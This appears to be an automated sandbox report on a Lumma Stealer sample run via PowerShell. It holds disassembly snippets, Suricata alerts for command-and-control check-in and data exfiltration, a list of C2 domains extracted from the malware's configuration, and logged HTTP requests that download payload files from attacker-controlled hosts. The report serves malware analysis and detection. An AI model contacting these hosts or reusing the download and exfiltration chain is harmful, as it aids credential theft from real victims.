Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\wpf_control\Microsoft.Web.WebView2.Wpf\obj\release\net45\Microsoft.Web.WebView2.Wpf.pdb% source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Macmade\Desktop\iMazing-Win\hotfix\Submodules\DDNA-AppCache\tmp\iMazing-Converter\Build\Release\Products\win64\HEIC_DLL_v142.pdb11 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\webview2_api_writer\dotNetAPIWrapper\Microsoft.Web.WebView2.Core\bin\ReleasePackage\Microsoft.Web.WebView2.Core.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\src\Microsoft.Xaml.Behaviors\obj\Release\net45\Microsoft.Xaml.Behaviors.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\s\SDK\AppCenter\Microsoft.AppCenter.WindowsDesktop\obj\Microsoft.AppCenter.WindowsDesktop\Release\net462\Microsoft.AppCenter.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\winforms_control\Microsoft.Web.WebView2.WinForms\obj\release\net45\Microsoft.Web.WebView2.WinForms.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Macmade\Desktop\Build\DDNA-BuildCache\master\tmp\gpod\Build\64\Release\gpod.pdb11 source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\2\s\binaries\amd64ret\bin\amd64\\msvcp140_2.amd64.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: powershell.exe, 00000007.00000002.7371627480.0000000007D39000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 079D8F7Ah	5_2_079D8C58
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 079D8F7Ah	5_2_079D8F3D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 079D60C2h	5_2_079D5D30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 079D60C2h	5_2_079D5D20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 079D8F7Ah	5_2_079D8C49
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 079D6C49h	5_2_079D6A88
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp 079D6C49h	5_2_079D6A79
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 5E874B5Fh	7_2_004259F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp byte ptr [eax+ebx+09h], 00000000h	7_2_00436980
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	7_2_00415A0E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov dword ptr [ebp-10h], ebx	7_2_0040A283
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [edx], cx	7_2_004183F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edi+18h]	7_2_00439BF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp byte ptr [ebx+edx], 00000000h	7_2_0041D400
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, ecx	7_2_00437420
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 5E874B5Fh	7_2_00437420
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edx+ebx*8], BC9C9AFCh	7_2_00437420
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then test eax, eax	7_2_00437420
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov esi, edi	7_2_0041655D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp dword ptr [00443684h]	7_2_0041655D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], E785F9BAh	7_2_0041655D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov edx, ecx	7_2_0043D580
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 71B3F069h	7_2_0043D580
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esi+eax-000000CFh]	7_2_0040AE20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, byte ptr [ebx]	7_2_0040AE20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	7_2_0040CE98
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov eax, dword ptr [00442B14h]	7_2_0040CE98
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 2DA07A80h	7_2_0043D7B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], A2347758h	7_2_0043A030
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-2Ch]	7_2_00427E16
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], C7235EAFh	7_2_0043D8E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+04255C89h]	7_2_00409080
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov eax, dword ptr [ebp+08h]	7_2_00422966
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, dword ptr [esi+08h]	7_2_0040C93E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], cl	7_2_0040C93E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then add eax, ecx	7_2_0042D1C4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebx, eax	7_2_004059D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebp, eax	7_2_004059D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [esi], dl	7_2_0042C199
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	7_2_0042A270
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	7_2_00427223
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov eax, dword ptr [ebp+08h]	7_2_00422966
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movsx eax, byte ptr [edi]	7_2_0043C2EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	7_2_004192F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov eax, ecx	7_2_00425287
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, byte ptr [ebp+eax-56522565h]	7_2_004222B1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, eax	7_2_0041AB1A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-5F965E5Fh]	7_2_00417BFA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-6FEB5746h]	7_2_00417BFA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, word ptr [ebp+00h]	7_2_00437BA9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+4Ch]	7_2_0041FC50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp word ptr [esi+edi+02h], 0000h	7_2_0041FC50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	7_2_004214C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edi, byte ptr [ebp+00h]	7_2_004094D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	7_2_00429CD0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, byte ptr [ebp+eax-56522565h]	7_2_00421CAB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp dword ptr [00443ECCh]	7_2_00421CAB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	7_2_00407550
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	7_2_00407550
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-1B9D9E48h]	7_2_0041ADE9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov word ptr [ecx], dx	7_2_0040DDFA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	7_2_00426D93
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [edi], cl	7_2_00425E40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-09D3FE44h]	7_2_00425E40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ebp, edi	7_2_00425E40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov esi, ecx	7_2_00424E40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then jmp eax	7_2_00416E70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-2Ch]	7_2_00427E16
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [esi], cl	7_2_0042B6E1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then mov byte ptr [esi], cl	7_2_0042B738
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E785F9BAh	7_2_004277A1

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 35MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.11.20:49744 -> 104.21.44.253:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.11.20:49744 -> 104.21.44.253:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.11.20:49745 -> 104.21.44.253:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.11.20:49745 -> 104.21.44.253:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.11.20:49762 -> 104.21.44.253:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.11.20:49765 -> 104.21.44.253:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.11.20:49764 -> 104.21.44.253:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: crayonutteh.click
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat

Source: global traffic

HTTP traffic detected: GET /madonna.vstx HTTP/1.1Host: pawpaws1.readit-carfanatics.comConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49745 -> 104.21.44.253:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49744 -> 104.21.44.253:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49758 -> 104.21.44.253:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49760 -> 104.21.44.253:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49763 -> 104.21.44.253:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49764 -> 104.21.44.253:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49761 -> 104.21.44.253:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49762 -> 104.21.44.253:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49765 -> 104.21.44.253:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49766 -> 172.67.184.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.11.20:49759 -> 104.21.44.253:443

Source: unknown	TCP traffic detected without corresponding DNS query: 23.50.112.19
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.21.237
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.195
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.195
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.135.18
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.135.18
Source: unknown	TCP traffic detected without corresponding DNS query: 23.50.112.19
Source: unknown	TCP traffic detected without corresponding DNS query: 23.50.112.19
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 239.255.255.250
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 239.255.255.250
Source: unknown	UDP traffic detected without corresponding DNS query: 239.255.255.250
Source: unknown	UDP traffic detected without corresponding DNS query: 239.255.255.250
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /madonna.mp4 HTTP/1.1Accept: /Accept-Language: en-US,en-GB;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: pawpaws.readit-carfanatics.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /madonna.vstx HTTP/1.1Host: pawpaws1.readit-carfanatics.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIkqHLAQic/swBCIWgzQEIrJ7OAQjkr84BCMO2zgEIvbnOAQjtvM4BCLu9zgEI1r3OAQjMv84BGMHLzAEYva7OARidsc4BSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIkqHLAQic/swBCIWgzQEIrJ7OAQjkr84BCMO2zgEIvbnOAQjtvM4BCLu9zgEI1r3OAQjMv84BGMHLzAEYva7OARidsc4BSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
Source: global traffic	HTTP traffic detected: GET /sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgRmgZjNGOGPnLsGIjBXAECMSl2N1QzCcWURBtk32rZpPQpm0GXwBmcX4ZHRX4IaBfM1HNUfjJBZHODNYDgyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIkqHLAQic/swBCIWgzQEIrJ7OAQjkr84BCMO2zgEIvbnOAQjtvM4BCLu9zgEI1r3OAQjMv84BGMHLzAEYva7OARidsc4BSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
Source: global traffic	HTTP traffic detected: GET /sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgRmgZjNGOGPnLsGIjBydXJM8slEgX7MatWidvqkCsFro3rskIET9l164K-5Z9PO9PX7EwBFXAh8V-RYgXUyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
Source: global traffic	HTTP traffic detected: GET /NAURGGBG953NT9QEQBG3.bin HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klippetamea8.shop

Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7057841838.0000584C001D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000008.00000002.7124510440.0000584C0088B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7057841838.0000584C001D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000008.00000003.7067266668.0000584C00204000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7067085715.0000584C01524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends CrLitElement{constructor(){super(...arguments);this.url={url:""}}static get is(){return"ntp-doodle-share-dialog"}static get styles(){return getCss$1()}render(){return getHtml$1.bind(this)()}static get properties(){return{title:{type:String},url:{type:Object}}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.fire("share",channel)}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);let instance$2=null;function getCss(){return instance$2\|\|(instance$2=[...[getCss$3()],css`:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) 